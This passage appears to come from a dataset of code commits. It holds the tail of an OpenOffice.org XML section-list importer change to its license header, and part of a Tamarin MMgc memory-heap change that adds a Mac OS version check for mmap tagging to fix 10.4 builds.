************************************************************************\/\n#pragma hdrstop\n\n#define _SVSTDARR_STRINGSDTOR\n#define _SVSTDARR_STRINGS\n#include <svtools\/svstdarr.hxx>\n#ifndef _SW_XMLSECTIONLIST_HXX\n#include <SwXMLSectionList.hxx>\n#endif\n#ifndef _XMLOFF_XMLTOKEN_HXX\n#include <xmloff\/xmltoken.hxx>\n#endif\n#ifndef _XMLOFF_NMSPMAP_HXX\n#include <xmloff\/nmspmap.hxx>\n#endif\n#ifndef _XMLOFF_XMLNMSPE_HXX\n#include <xmloff\/xmlnmspe.hxx>\n#endif\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\nusing namespace ::xmloff::token;\n\nsal_Char __READONLY_DATA sXML_np__office[] = \"_ooffice\";\nsal_Char __READONLY_DATA sXML_np__text[] = \"_otext\";\n\n\/\/ #110680#\nSwXMLSectionList::SwXMLSectionList(\n    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > xServiceFactory,\n    SvStrings & rNewSectionList)\n:   SvXMLImport( xServiceFactory ),\n    rSectionList ( rNewSectionList )\n{\n    GetNamespaceMap().Add( OUString( RTL_CONSTASCII_USTRINGPARAM ( sXML_np__office ) ),\n                            GetXMLToken(XML_N_OFFICE_OOO),\n                            XML_NAMESPACE_OFFICE );\n    GetNamespaceMap().Add( OUString( RTL_CONSTASCII_USTRINGPARAM ( sXML_np__text ) ),\n                            GetXMLToken(XML_N_TEXT_OOO),\n                            XML_NAMESPACE_TEXT );\n}\n\nSwXMLSectionList::~SwXMLSectionList ( void )\n    throw()\n{\n}\n\nSvXMLImportContext *SwXMLSectionList::CreateContext(\n        sal_uInt16 nPrefix,\n        const OUString& rLocalName,\n        const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n\n    if  (nPrefix == XML_NAMESPACE_OFFICE && IsXMLToken ( rLocalName, XML_BODY ) ||\n         nPrefix == XML_NAMESPACE_TEXT &&\n        (IsXMLToken ( rLocalName, XML_P ) ||\n         IsXMLToken ( rLocalName, XML_H ) ||\n         IsXMLToken ( rLocalName, XML_A ) ||\n         IsXMLToken ( rLocalName, XML_SPAN ) ||\n         IsXMLToken ( rLocalName, XML_SECTION ) ||\n         IsXMLToken ( rLocalName, XML_INDEX_BODY ) ||\n         IsXMLToken ( rLocalName, XML_INDEX_TITLE )||\n         IsXMLToken ( rLocalName, XML_INSERTION ) ||\n         IsXMLToken ( rLocalName, XML_DELETION ) ) )\n        pContext = new SvXMLSectionListContext (*this, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = SvXMLImport::CreateContext( nPrefix, rLocalName, xAttrList );\n    return pContext;\n}\n\nSvXMLSectionListContext::SvXMLSectionListContext(\n   SwXMLSectionList& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n   rLocalRef(rImport),\n   SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SvXMLSectionListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    String sName;\n\n    if (nPrefix == XML_NAMESPACE_TEXT && ( IsXMLToken ( rLocalName, XML_SECTION ) ||\n                                           IsXMLToken ( rLocalName, XML_BOOKMARK) ) )\n    {\n        sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n\n        for (sal_Int16 i=0; i < nAttrCount; i++)\n        {\n            const OUString& rAttrName = xAttrList->getNameByIndex( i );\n            OUString aLocalName;\n            sal_uInt16 nPrefix = rLocalRef.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n            const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n            if (XML_NAMESPACE_TEXT == nPrefix && IsXMLToken ( aLocalName, XML_NAME ) )\n                sName = rAttrValue;\n        }\n        if ( sName.Len() )\n            rLocalRef.rSectionList.Insert ( new String(sName), rLocalRef.rSectionList.Count() );\n    }\n\n    pContext = new SvXMLSectionListContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    return pContext;\n}\nSvXMLSectionListContext::~SvXMLSectionListContext ( void )\n{\n}\n\nSvXMLIgnoreSectionListContext::SvXMLIgnoreSectionListContext(\n   SwXMLSectionList& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n   rLocalRef(rImport),\n   SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLIgnoreSectionListContext::~SvXMLIgnoreSectionListContext ( void )\n{\n}\nSvXMLImportContext *SvXMLIgnoreSectionListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    return  new SvXMLIgnoreSectionListContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n}\n<commit_msg>INTEGRATION: CWS ooo19126 (1.5.406); FILE MERGED 2005\/09\/05 13:40:35 rt 1.5.406.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: SwXMLSectionList.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 04:43:13 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#pragma hdrstop\n\n#define _SVSTDARR_STRINGSDTOR\n#define _SVSTDARR_STRINGS\n#include <svtools\/svstdarr.hxx>\n#ifndef _SW_XMLSECTIONLIST_HXX\n#include <SwXMLSectionList.hxx>\n#endif\n#ifndef _XMLOFF_XMLTOKEN_HXX\n#include <xmloff\/xmltoken.hxx>\n#endif\n#ifndef _XMLOFF_NMSPMAP_HXX\n#include <xmloff\/nmspmap.hxx>\n#endif\n#ifndef _XMLOFF_XMLNMSPE_HXX\n#include <xmloff\/xmlnmspe.hxx>\n#endif\n\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\nusing namespace ::xmloff::token;\n\nsal_Char __READONLY_DATA sXML_np__office[] = \"_ooffice\";\nsal_Char __READONLY_DATA sXML_np__text[] = \"_otext\";\n\n\/\/ #110680#\nSwXMLSectionList::SwXMLSectionList(\n    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > xServiceFactory,\n    SvStrings & rNewSectionList)\n:   SvXMLImport( xServiceFactory ),\n    rSectionList ( rNewSectionList )\n{\n    GetNamespaceMap().Add( OUString( RTL_CONSTASCII_USTRINGPARAM ( sXML_np__office ) ),\n                            GetXMLToken(XML_N_OFFICE_OOO),\n                            XML_NAMESPACE_OFFICE );\n    GetNamespaceMap().Add( OUString( RTL_CONSTASCII_USTRINGPARAM ( sXML_np__text ) ),\n                            GetXMLToken(XML_N_TEXT_OOO),\n                            XML_NAMESPACE_TEXT );\n}\n\nSwXMLSectionList::~SwXMLSectionList ( void )\n    throw()\n{\n}\n\nSvXMLImportContext *SwXMLSectionList::CreateContext(\n        sal_uInt16 nPrefix,\n        const OUString& rLocalName,\n        const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n\n    if  (nPrefix == XML_NAMESPACE_OFFICE && IsXMLToken ( rLocalName, XML_BODY ) ||\n         nPrefix == XML_NAMESPACE_TEXT &&\n        (IsXMLToken ( rLocalName, XML_P ) ||\n         IsXMLToken ( rLocalName, XML_H ) ||\n         IsXMLToken ( rLocalName, XML_A ) ||\n         IsXMLToken ( rLocalName, XML_SPAN ) ||\n         IsXMLToken ( rLocalName, XML_SECTION ) ||\n         IsXMLToken ( rLocalName, XML_INDEX_BODY ) ||\n         IsXMLToken ( rLocalName, XML_INDEX_TITLE )||\n         IsXMLToken ( rLocalName, XML_INSERTION ) ||\n         IsXMLToken ( rLocalName, XML_DELETION ) ) )\n        pContext = new SvXMLSectionListContext (*this, nPrefix, rLocalName, xAttrList);\n    else\n        pContext = SvXMLImport::CreateContext( nPrefix, rLocalName, xAttrList );\n    return pContext;\n}\n\nSvXMLSectionListContext::SvXMLSectionListContext(\n   SwXMLSectionList& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n   rLocalRef(rImport),\n   SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLImportContext *SvXMLSectionListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    SvXMLImportContext *pContext = 0;\n    String sName;\n\n    if (nPrefix == XML_NAMESPACE_TEXT && ( IsXMLToken ( rLocalName, XML_SECTION ) ||\n                                           IsXMLToken ( rLocalName, XML_BOOKMARK) ) )\n    {\n        sal_Int16 nAttrCount = xAttrList.is() ? xAttrList->getLength() : 0;\n\n        for (sal_Int16 i=0; i < nAttrCount; i++)\n        {\n            const OUString& rAttrName = xAttrList->getNameByIndex( i );\n            OUString aLocalName;\n            sal_uInt16 nPrefix = rLocalRef.GetNamespaceMap().GetKeyByAttrName( rAttrName, &aLocalName);\n            const OUString& rAttrValue = xAttrList->getValueByIndex( i );\n            if (XML_NAMESPACE_TEXT == nPrefix && IsXMLToken ( aLocalName, XML_NAME ) )\n                sName = rAttrValue;\n        }\n        if ( sName.Len() )\n            rLocalRef.rSectionList.Insert ( new String(sName), rLocalRef.rSectionList.Count() );\n    }\n\n    pContext = new SvXMLSectionListContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n    return pContext;\n}\nSvXMLSectionListContext::~SvXMLSectionListContext ( void )\n{\n}\n\nSvXMLIgnoreSectionListContext::SvXMLIgnoreSectionListContext(\n   SwXMLSectionList& rImport,\n   sal_uInt16 nPrefix,\n   const OUString& rLocalName,\n   const com::sun::star::uno::Reference<\n   com::sun::star::xml::sax::XAttributeList > & xAttrList ) :\n   rLocalRef(rImport),\n   SvXMLImportContext ( rImport, nPrefix, rLocalName )\n{\n}\n\nSvXMLIgnoreSectionListContext::~SvXMLIgnoreSectionListContext ( void )\n{\n}\nSvXMLImportContext *SvXMLIgnoreSectionListContext::CreateChildContext(\n    sal_uInt16 nPrefix,\n    const OUString& rLocalName,\n    const Reference< xml::sax::XAttributeList > & xAttrList )\n{\n    return  new SvXMLIgnoreSectionListContext (rLocalRef, nPrefix, rLocalName, xAttrList);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is [Open Source Virtual Machine.].\n *\n * The Initial Developer of the Original Code is\n * Adobe System Incorporated.\n * Portions created by the Initial Developer are Copyright (C) 2004-2006\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *   Adobe AS3 Team\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"MMgc.h\"\n#include \"GC.h\"\n\n#ifdef USE_MMAP\n#include <sys\/mman.h>\n#endif\n\n#if defined(__MACH__)\n#include <mach\/mach.h>\n#endif\n\n#ifdef _MAC\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\n#if (defined(MMGC_IA32) || defined(MMGC_AMD64)) && defined(MEMORY_INFO)\n#include <dlfcn.h>\n#endif\n\nnamespace MMgc\n{\n#ifndef USE_MMAP\n\tvoid *aligned_malloc(size_t size, size_t align_size, GCMallocFuncPtr m_malloc)\n\t{\n\t\tchar *ptr, *ptr2, *aligned_ptr;\n\t\tint align_mask = align_size - 1;\n\n\t\tint alloc_size = size + align_size + sizeof(int);\n\t\tptr=(char *)m_malloc(alloc_size);\n\n\t\tif(ptr==NULL) return(NULL);\n\n\t\tptr2 = ptr + sizeof(int);\n\t\taligned_ptr = ptr2 + (align_size - ((size_t)ptr2 & align_mask));\n\n\t\tptr2 = aligned_ptr - sizeof(int);\n\t\t*((int *)ptr2)=(int)(aligned_ptr - ptr);\n\n\t\treturn(aligned_ptr);\n\t}\n\n\tvoid aligned_free(void *ptr, GCFreeFuncPtr m_free)\n\t{\n\t\tint *ptr2=(int *)ptr - 1;\n\t\tchar *unaligned_ptr = (char*) ptr - *ptr2;\n\t\tm_free(unaligned_ptr);\n\t}\n#endif \/* !USE_MMAP *\/\n\n#ifdef MMGC_AVMPLUS\n#ifdef USE_MMAP\n\tint GCHeap::vmPageSize()\n\t{\n\t\tlong v = sysconf(_SC_PAGESIZE);\n\t\tif (v == -1) v = 4096; \/\/ Mac 10.1 needs this\n\t\treturn v;\n\t}\n\n\tvoid* GCHeap::ReserveCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\tsize_t size)\n\t{\n\t\treturn mmap(address,\n\t\t\t\t\tsize,\n\t\t\t\t\tPROT_NONE,\n\t\t\t\t\tMAP_PRIVATE | MAP_ANONYMOUS,\n\t\t\t\t\tVM_MAKE_TAG(VM_MEMORY_APPLICATION_SPECIFIC_1+1), 0);\n\t}\n\n\tvoid GCHeap::ReleaseCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tif (munmap(address, size) != 0)\n\t\t\tGCAssert(false);\n\t}\n\n\tbool GCHeap::SetGuardPage(void* \/*address*\/)\n\t{\n\t\treturn false;\n\t}\n\n#ifdef AVMPLUS_JIT_READONLY\n\t\/**\n\t * SetPageProtection changes the page access protections on a block of pages,\n\t * to make JIT-ted code executable or not.\n\t *\n\t * If executableFlag is true, the memory is made executable and read-only.\n\t *\n\t * If executableFlag is false, the memory is made non-executable and\n\t * read-write.\n\t *\/\n\tvoid GCHeap::SetPageProtection(void *address,\n\t\t\t\t\t\t\t   size_t size,\n\t\t\t\t\t\t\t   bool executableFlag,\n\t\t\t\t\t\t\t   bool writeableFlag)\n\t{\n\t\t\/\/ mprotect requires that the addresses be aligned on page boundaries\n\t\tvoid *endAddress = (void*) ((char*)address + size);\n\t\tvoid *beginPage = (void*) ((size_t)address & ~0xFFF);\n\t\tvoid *endPage   = (void*) (((size_t)endAddress + 0xFFF) & ~0xFFF);\n\t\tsize_t sizePaged = (size_t)endPage - (size_t)beginPage;\n\n\t\tint flags = PROT_READ;\n\t\tif (executableFlag) {\n\t\t\tflags |= PROT_EXEC;\n\t\t}\n\t\tif (writeableFlag) {\n\t\t\tflags |= PROT_WRITE;\n\t\t}\n\t\tint retval = mprotect(beginPage, sizePaged, flags);\n\n\t\tGCAssert(retval == 0);\n\t\t(void)retval;\n\t}\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\t\n\tvoid* GCHeap::CommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tif (size == 0)\n\t\t\tsize = GCHeap::kNativePageSize;  \/\/ default of one page\n\n#ifdef AVMPLUS_JIT_READONLY\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE);\n#else\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE | PROT_EXEC);\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\n\t\tif (res != 0)\n\t\t\taddress = 0;\n\t\telse\n\t\t\taddress = (void*)( (uintptr)address + size );\n\t\n\t\tcommittedCodeMemory += size;\n\t\treturn address;\t\t\n\t}\n\n\tvoid* GCHeap::DecommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\t size_t size)\n\t{\n\t\tif (size == 0)\n\t\t\tsize = GCHeap::kNativePageSize;  \/\/ default of one page\n\n\t\t\/\/ this doesn't \"decommit\" it, it just makes it unwritable, Mac OS still backs it with real pages :-(\n\t\tint res = mprotect (address, size, PROT_NONE);\n\t\tGCAssert(res == 0);\n\t\t(void) res;\n\t\tcommittedCodeMemory -= size;\n\t\treturn (address);\n\t}\n#else\n\tint GCHeap::vmPageSize()\n\t{\n\t\treturn 4096;\n\t}\n\n\tvoid* GCHeap::ReserveCodeMemory(void* ,\n\t\t\t\t\t\t\t\t\tsize_t size)\n\t{\n\t\treturn aligned_malloc(size, 4096, m_malloc);\n\t}\n\n\tvoid GCHeap::ReleaseCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t )\n\t{\n\t\taligned_free(address, m_free);\n\t}\n\n\tbool GCHeap::SetGuardPage(void *)\n\t{\n\t\treturn false;\n\t}\n\n#ifdef AVMPLUS_JIT_READONLY\n\tvoid GCHeap::SetExecuteBit(void *,\n\t\t\t\t\t\t\t   size_t ,\n\t\t\t\t\t\t\t   bool )\n\t{\n\t\t\/\/ No-op on Mac CFM\n\t}\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\t\n\t\n\tvoid* GCHeap::CommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tcommittedCodeMemory += size;\n\t\treturn address;\n\t}\t\n\tvoid* GCHeap::DecommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\t size_t size)\n\t{\n\t\tcommittedCodeMemory -= size;\n\t\treturn address;\n\t}\t\n#endif \/* USE_MMAP *\/\t\n#endif \/* MMGC_AVMPLUS *\/\n\n#ifdef USE_MMAP\n\tchar* GCHeap::ReserveMemory(char *address, size_t size)\n\t{\n\t\tchar *addr = (char*)mmap(address,\n\t\t\t\t\t size,\n\t\t\t\t\t PROT_NONE,\n\t\t\t\t\t MAP_PRIVATE | MAP_ANONYMOUS,\n\t\t\t\t\t VM_MAKE_TAG(VM_MEMORY_APPLICATION_SPECIFIC_1), 0);\n\t\t\t\t\t \n\t\t\/\/ the man page for mmap documents it returns -1 to signal failure. \n\t\tif (addr == (char *)-1) return NULL;\n\t\t\n\t\tif(address && address != addr) {\n\t\t\t\/\/ behave like windows and fail if we didn't get the right address\n\t\t\tReleaseMemory(addr, size);\n\t\t\treturn NULL;\n\t\t}\n\t\treturn addr;\n\t}\n\n\tbool GCHeap::CommitMemory(char *address, size_t size)\n\t{\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE);\n\t\tGCAssert(res == 0);\n\t\treturn (res == 0);\n\t}\n\n\tbool GCHeap::DecommitMemory(char *address, size_t size)\n\t{\n\t\t\/\/ FIXME: this doesn't actually untie the pages from real memory\n\t\tint res = mprotect (address, size, PROT_NONE);\n\t\tGCAssert(res == 0);\n\t\treturn (res == 0);\n\t}\n\n\tbool GCHeap::CommitMemoryThatMaySpanRegions(char *address, size_t size)\n\t{\n\t\treturn CommitMemory(address, size);\n\t}\n\n\tbool GCHeap::DecommitMemoryThatMaySpanRegions(char *address, size_t size)\n\t{\n\t\treturn DecommitMemory(address, size);\n\t}\n\n\tvoid GCHeap::ReleaseMemory(char *address, size_t size)\n\t{\n\t\tint result = munmap(address, size);\n\t\tGCAssert(result == 0);\n\t\t(void)result;\n\t}\n#else\n\n\tchar* GCHeap::AllocateMemory(size_t size)\n\t{\n\t\treturn (char *) aligned_malloc(size, 4096, m_malloc);\n\t\t\/\/return (char *) MPAllocateAligned(size, kMPAllocate4096ByteAligned, 0);\n\t}\n\n\tvoid GCHeap::ReleaseMemory(char *address)\n\t{\n\t\taligned_free(address, m_free);\n\t\t\/\/MPFree(address);\n\t}\n#endif\n\n#ifdef MEMORY_INFO  \n\n#ifdef MMGC_PPC\n\t\/\/ no idea how to do this with codewarrior\n\tvoid GetInfoFromPC(sintptr pc, char *buff, int \/*buffSize*\/) \n\t{\n\t\tsprintf(buff, \"0x%x\", (uint32)pc);\t\n\t}\n\n\tvoid GetStackTrace(sintptr *trace, int len, int skip) \n\t{\n\t  register int stackp;\n\t  sintptr pc;\n\t  asm(\"mr %0,r1\" : \"=r\" (stackp));\n\t  while(skip--) {\n\t    stackp = *(int*)stackp;\n\t  }\n\t  int i=0;\n\t  \/\/ save space for 0 terminator\n\t  len--;\n\t  while(i<len && stackp) {\n\t    pc = *((sintptr*)stackp+2);\n\t    trace[i++]=pc;\n\t    stackp = *(int*)stackp;\n\t  }\n\t  trace[i] = 0;\n\t}\n#endif\n\n#if (defined(MMGC_IA32) || defined(MMGC_AMD64))\n\n\tvoid GetInfoFromPC(sintptr pc, char *buff, int buffSize) \n\t{\n\t\tDl_info dlip;\n\t\tdladdr((void * const)pc, &dlip);\n\t\tsnprintf(buff, buffSize, \"0x%08x:%s\", (uint32)pc, dlip.dli_sname);\n\t}\n\t\n\tvoid GetStackTrace(sintptr* trace, int len, int skip) \n\t{\n\t\tvoid **ebp;\n\t\t#ifdef MMGC_IA32\n\t\tasm(\"mov %%ebp, %0\" : \"=r\" (ebp));\n\t\t#else\n\t\tasm(\"mov %%rbp, %0\" : \"=r\" (ebp));\n\t\t#endif\n\t\twhile(skip-- && *ebp)\n\t\t{\n\t\t\tebp = (void**)(*ebp);\n\t\t}\n\n\t\tlen--;\n\t\tint i=0;\n\t\twhile(i<len && *ebp)\n\t\t{\n\t\t\ttrace[i++] = *((sintptr*)ebp+1);\n\t\t\tebp = (void**)(*ebp);\t\t\t\n\t\t}\n\t\ttrace[i] = 0;\n\t}\n#endif\n\n#endif\n\n\tsize_t GCHeap::GetPrivateBytes()\n\t{\n\t\tsize_t private_bytes = 0;\n\t\tkern_return_t ret;\n\t\ttask_t task = mach_task_self();\n\t\t\n\t\tvm_size_t pagesize = 0;\n\t\tret = host_page_size(mach_host_self(), &pagesize);\n\t\t\n\t\tvm_address_t addr = VM_MIN_ADDRESS;\n\t\tvm_size_t size = 0;\n\t\twhile (true)\n\t\t{\n\t\t\tmach_msg_type_number_t count = VM_REGION_TOP_INFO_COUNT;\n\t\t\tvm_region_top_info_data_t info;\n\t\t\tmach_port_t object_name;\n\n\t\t\taddr += size;\n\n#ifdef MMGC_64BIT\n\t\t\tret = vm_region_64(task, &addr, &size, VM_REGION_TOP_INFO, (vm_region_info_t)&info, &count, &object_name);\n#else\n\t\t\tret = vm_region(task, &addr, &size, VM_REGION_TOP_INFO, (vm_region_info_t)&info, &count, &object_name);\n#endif\n\n\t\t\tif (ret != KERN_SUCCESS)\n\t\t\t\tbreak;\n\t\t\tprivate_bytes += info.private_pages_resident;\n\t\t}\n\t\treturn private_bytes;\n\t}\n}\n<commit_msg>Fix 10.4 builds<commit_after>\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is [Open Source Virtual Machine.].\n *\n * The Initial Developer of the Original Code is\n * Adobe System Incorporated.\n * Portions created by the Initial Developer are Copyright (C) 2004-2006\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *   Adobe AS3 Team\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"MMgc.h\"\n#include \"GC.h\"\n\n#ifdef USE_MMAP\n#include <sys\/mman.h>\n#include <sys\/types.h>\n#include <sys\/sysctl.h>\n#endif\n\n#if defined(__MACH__)\n#include <mach\/mach.h>\n#endif\n\n#ifdef _MAC\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\n#if (defined(MMGC_IA32) || defined(MMGC_AMD64)) && defined(MEMORY_INFO)\n#include <dlfcn.h>\n#endif\n\nnamespace MMgc\n{\n#ifndef USE_MMAP\n\tvoid *aligned_malloc(size_t size, size_t align_size, GCMallocFuncPtr m_malloc)\n\t{\n\t\tchar *ptr, *ptr2, *aligned_ptr;\n\t\tint align_mask = align_size - 1;\n\n\t\tint alloc_size = size + align_size + sizeof(int);\n\t\tptr=(char *)m_malloc(alloc_size);\n\n\t\tif(ptr==NULL) return(NULL);\n\n\t\tptr2 = ptr + sizeof(int);\n\t\taligned_ptr = ptr2 + (align_size - ((size_t)ptr2 & align_mask));\n\n\t\tptr2 = aligned_ptr - sizeof(int);\n\t\t*((int *)ptr2)=(int)(aligned_ptr - ptr);\n\n\t\treturn(aligned_ptr);\n\t}\n\n\tvoid aligned_free(void *ptr, GCFreeFuncPtr m_free)\n\t{\n\t\tint *ptr2=(int *)ptr - 1;\n\t\tchar *unaligned_ptr = (char*) ptr - *ptr2;\n\t\tm_free(unaligned_ptr);\n\t}\n#endif \/* !USE_MMAP *\/\n\n#ifdef MMGC_AVMPLUS\n#ifdef USE_MMAP\n\tstatic int get_major_version()\n\t{\n\t\tint mib[2];\n\t\tmib[0]=CTL_KERN;\n\t\tmib[1]=KERN_OSRELEASE;\n\t\tchar buf[10];\n\t\tsize_t siz=sizeof(buf);\n\t\tsysctl(mib, 2, &buf, &siz, NULL, 0);\n\t\treturn strtol(buf, 0, 10);\n\t}\n\n    static int get_mmap_fdes(int delta)\n\t{\n\t  \/\/ ensure runtime version\n\t  if(get_major_version() >= 9) \/\/ 9 == 10.5\n\t\t  return VM_MAKE_TAG(VM_MEMORY_APPLICATION_SPECIFIC_1+delta);\n\t  else\n\t\t  return -1;\n\t}\n\n\tint GCHeap::vmPageSize()\n\t{\n\t\tlong v = sysconf(_SC_PAGESIZE);\n\t\tif (v == -1) v = 4096; \/\/ Mac 10.1 needs this\n\t\treturn v;\n\t}\n\n\tvoid* GCHeap::ReserveCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\tsize_t size)\n\t{\n\t\treturn mmap(address,\n\t\t\t\t\tsize,\n\t\t\t\t\tPROT_NONE,\n\t\t\t\t\tMAP_PRIVATE | MAP_ANONYMOUS,\n\t\t\t\t\tget_mmap_fdes(1), 0);\n\t}\n\n\tvoid GCHeap::ReleaseCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tif (munmap(address, size) != 0)\n\t\t\tGCAssert(false);\n\t}\n\n\tbool GCHeap::SetGuardPage(void* \/*address*\/)\n\t{\n\t\treturn false;\n\t}\n\n#ifdef AVMPLUS_JIT_READONLY\n\t\/**\n\t * SetPageProtection changes the page access protections on a block of pages,\n\t * to make JIT-ted code executable or not.\n\t *\n\t * If executableFlag is true, the memory is made executable and read-only.\n\t *\n\t * If executableFlag is false, the memory is made non-executable and\n\t * read-write.\n\t *\/\n\tvoid GCHeap::SetPageProtection(void *address,\n\t\t\t\t\t\t\t   size_t size,\n\t\t\t\t\t\t\t   bool executableFlag,\n\t\t\t\t\t\t\t   bool writeableFlag)\n\t{\n\t\t\/\/ mprotect requires that the addresses be aligned on page boundaries\n\t\tvoid *endAddress = (void*) ((char*)address + size);\n\t\tvoid *beginPage = (void*) ((size_t)address & ~0xFFF);\n\t\tvoid *endPage   = (void*) (((size_t)endAddress + 0xFFF) & ~0xFFF);\n\t\tsize_t sizePaged = (size_t)endPage - (size_t)beginPage;\n\n\t\tint flags = PROT_READ;\n\t\tif (executableFlag) {\n\t\t\tflags |= PROT_EXEC;\n\t\t}\n\t\tif (writeableFlag) {\n\t\t\tflags |= PROT_WRITE;\n\t\t}\n\t\tint retval = mprotect(beginPage, sizePaged, flags);\n\n\t\tGCAssert(retval == 